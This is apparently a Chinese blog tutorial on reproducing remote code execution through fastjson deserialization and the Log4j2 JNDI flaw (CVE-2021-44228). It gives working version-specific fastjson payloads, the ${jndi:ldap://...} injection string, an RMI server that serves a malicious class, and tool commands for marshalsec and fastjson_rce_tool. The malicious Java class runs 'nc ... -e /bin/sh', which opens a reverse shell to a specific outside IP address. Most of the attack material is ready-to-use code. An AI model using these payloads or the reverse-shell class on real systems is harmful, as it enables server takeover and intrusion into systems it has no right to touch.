zoukankan      html  css  js  c++  java
  • jndi ldap/rmi RCE介绍:fastjsion反序列化漏洞,log4j2命令RCE

    本文原创地址:https://www.cnblogs.com/yunmuq/p/14268028.html



    一、背景

    1.1 fastjsion

    fastjsion是阿里的开源Java工具:https://github.com/alibaba/fastjson

    能快速地将对象序列化为json字符串,或进行反序列化

    其速度和效率在同类型工具中遥遥领先,但曾被曝出存在高危漏洞

    漏洞主要分布于1.2.68及以下的版本中,在将json反序列化为对象时,存在代码执行漏洞

    如果一些项目未更新到最新版本,则存在安全漏洞



    1.1 log4j2

    log4j 2.x 版本,是目前用得较多的Java日志组件,存在远程命令执行漏洞CVE-2021-44228



    二者的RCE都是利用lookup方法,进而使用jndi ldap/rmi进行远程命令执行,本文不深究payload的挖掘和原理

    RCE的流程都为:

    • 搭建并启动ldap/rmi服务,启动http服务,能从其中获取恶意类的.class文件

    • 注入payload触发漏洞

    • 靶机根据payload请求ldap/rmi服务,获取恶意类信息

    • 靶机http请求恶意类.class文件

    • 靶机执行恶意类中的代码



    二、Payload

    2.1 fastjsion

    有json的地方都可以试

    简单地说一下原理,作者自己也不是十分了解

    当fastjson可以反序列化任意类时,怎么让服务器执行自己想要的代码呢

    这就需要寻找一个利用链,com.sun.rowset.JdbcRowSetImpl的好处是,他是Java官方的类库

    其中的lookup方法支持调用远程接口,我们把想要运行的代码放在远程接口中,触发服务器来调用即可

    2.1.1 版本<1.2.25

    {
          "@type":"com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName":"rmi://localhost:1099/Exploit",
          "autoCommit":true
    }
    



    2.1.2 版本<1.2.48

    {
          "x":{
                "@type":"java.lang.Class",
                "val":"com.sun.rowset.JdbcRowSetImpl"
          },
          "x":{
                "@type":"com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName":"rmi://ip:port/Exploit",
                "autoCommit":true
          }
    }
    



    2.1.3 版本<1.2.51

    最后一个RCE,51版本开始无法进行 JNDI 反序列化

    需要ojdbc14.jar,OracleJDBCRowSet在61版本才被加入黑名单

    {
        "@type": "oracle.jdbc.rowset.OracleJDBCRowSet",
        "dataSourceName": "rmi://192.168.x.x:8088/Object",
        "command": "111"
    }
    



    2.1.4 版本<1.2.68

    1.2.51都是18年发布的版本了,上述前两个payload是广为流传的版本,都是利用RMI、LDAP进行远程命令执行(RCE)

    而1.2.68是20年发布的版本,终结了fastjson的反序列化漏洞

    在1.2.68之前的版本,fastjson被发现还能利用异常进行攻击,虽然无法RCE,但是可以写文件什么的

    在项目依赖了commons-io的情况下进行文件读写

    fastjson早从v1.2.25开始就默认不支持autotype,但是如果网站后端>>>开启autotype的话,还是可以证明的



    2.1.5 后续版本

    如果网站未自定义错误信息的话,可以使用以下payload曝出版本,一般我们认为低于1.2.68就是不安全的

    {"@type":"java.lang.AutoCloseable"
    
    //不用怀疑,这就是不完整的json格式
    

    判断是否用的fastjson进行json解析

    {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.cn"}}
    



    2.2 log4j2

    ${jndi:ldap://127.0.0.1:8088/exp}

    超简单,前提是log4j2会直接把你的输入写入日志,一般在登录处、修改、查询处等会进行记录



    三、搭建复现环境

    关于早期能远程命令执行的版本的漏洞复现。



    3.1 搭建fastjson项目

    想要复现RCE漏洞最关键的要素是JDK版本,编译运行fastjson项目的jdk建议是 JDK8,作者使用 jdk-11.0.9 没成功,使用 jdk1.8.0_112 成功了

    简单的验证很简单,无需spring项目和Tomcat,创建最简单的Java项目即可

    觉得不想安装maven的,或觉得maven更改版本麻烦的,可以从maven中央库下载fastjson的jar包,并添设置项目属性加到依赖中,这里的版本最齐全:https://repo1.maven.org/maven2/com/alibaba/fastjson/

    阿里云的镜像无法从浏览器访问,如果安装了maven可以使用maven项目

    实现代码略,只要涉及反序列化就会触发,一般用JSON.parseObject()

    要模拟生产环境的话,实践中大多是集成进spring boot吧,controller参数只要是@RequestBody就能用自己的类做参数

    准备好RMI、LDAP服务再运行



    3.2 搭建log4j2项目

    随便什么项目,使用logger.info()等方法写日志时,字符串中包含payload即可

    生产中一般是slf4j日志门面+log4j2的搭配



    四、RMI、LDAP服务搭建

    在前人已经为我们寻找好利用链之后,剩下的一步是搭建RMI、LDAP服务



    4.1 代码方式启动RMI、LDAP服务

    • 缺点:无法看到是否接收到RMI、LDAP请求,不好Debug,好在可以看到http请求

    回顾>>RCE流程<<



    4.1.1 制作恶意类

    Exp.java文件代码,直接用记事本写

    import java.lang.Runtime;
    import java.lang.Process;
    
    // 注意不要写package
    
    public class Exp {
        static {
            try{
                // 要执行的命令
                String commands = "nc 115.197.37.69 9002 -e /bin/sh";
                Process pc = Runtime.getRuntime().exec(commands);
                pc.waitFor();
            } catch(Exception e){
                e.printStackTrace();
            }
        }
    }
    

    命令行javac Exp.java得到Exp.class

    命令行再运行python -m http.server [port]将当前文件夹放到http服务上



    4.1.2 启动RMI、LDAP服务

    代码,这个需要在IDE中编写和运行了

    package TomcatRMIServer;
    
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import javax.naming.NamingException;
    import javax.naming.Reference;
    
    public class RMIServer {
        public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
            //JNDIServer.java
    
            //在本机1099端口开启rmi registry。
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
    
            String className = "Exp";
            //配置一个reference
            //第一个参数是className
            //第二个参数指定 Object Factory的类名,第三个参数是codebase,如果Object Factory在classpath 里面找不到则去codebase下载。
            //Object Factory类指定需要注意包路径,根据你的实际情况决定是否需要添加包名前缀。
            Reference reference = new Reference(className, className, "http://127.0.0.1:[port]/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            //绑定远程对像到Exploit,实际上就是给Hashtable里面put这个key和value。
            registry.bind(className, referenceWrapper);
            System.out.println("success");
        }
    }
    

    payload中的地址则是 rmi://ip:1099/Exp ,rmi默认端口是1099,http端口python的和代码中的要统一



    4.2 使用marshalsec

    • 优点:能看到是否接收到RMI、LDAP请求,方便Debug

    这是最主流的方法

    免去写代码就能搭建RMI、LDAP服务器,同样需要安装python来提供http服务

    这是项目地址:https://github.com/mbechler/marshalsec

    需要maven来编译此工具,且编译的jdk版本需要在1.8.0_112及以下

    远程调用的过程是,服务器通过RMI、LDAP访问我们的主机,我们的主机再转发到一个http端口上,把事先编译好的.class文件给服务器运行即可

    ①和>>4.1.1 制作恶意类<<一样编译恶意类启动python http服务

    ②使用命令 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:[port]/#Exp 运行RMIRefServer

    payload中的地址则是 rmi://ip/Exp ,rmi默认端口是1099,http端口marshalsec命令中的和python命令中的保持一致



    4.3 使用fastjson_rce_tool

    • 优点:

      • 一键启动RMI、LDAP服务;

      • 自动编译恶意类和启动http服务;

      • 运行fastjson_rce_tool不受JDK限制,使用JDK11也可

    • 缺点:

      • http端口不能指定,随机开启;

      • log4j2的RCE似乎不能用;

      • 当运行fastjson的Java版本是jdk11时,这边能收到服务器远程调用的请求,命令却无法被执行

    相比marshalsec优点在于,不用编译,无需自己编写利用类Exploit,无需自己开启http服务,最重要的是

    项目地址:https://github.com/wyzxxz/fastjson_rce_tool

    使用方法:java -cp fastjson_tool.jar fastjson.HRMIServer IP port " 想要执行的命令 "

    命令行会给出payload




    本文参考文章:
    https://zhuanlan.zhihu.com/p/157211675
    https://www.cnblogs.com/sijidou/p/13121332.html



    (๑•̀ㅂ•́)و✧

    往期精彩文章推荐:

    《zookeeper未授权访问渗透测试及修复方法》

    《安装nginx并安全地配置和启动》

  • 相关阅读:
    Scrum敏捷开发中的各种会议到底怎么开?
    敏捷的方法与误区
    原创:分享封装好的面向JAVA的memcached客户端操作类
    ReactRouter路由配置
    脚手架创建react项目
    React基础知识
    Fetch请求
    redux学习笔记
    npm install常用用法
    python3+selenium3自动化8——当click事件失效,如何解决 测试
  • 原文地址:https://www.cnblogs.com/yunmuq/p/14268028.html
Copyright © 2011-2022 走看看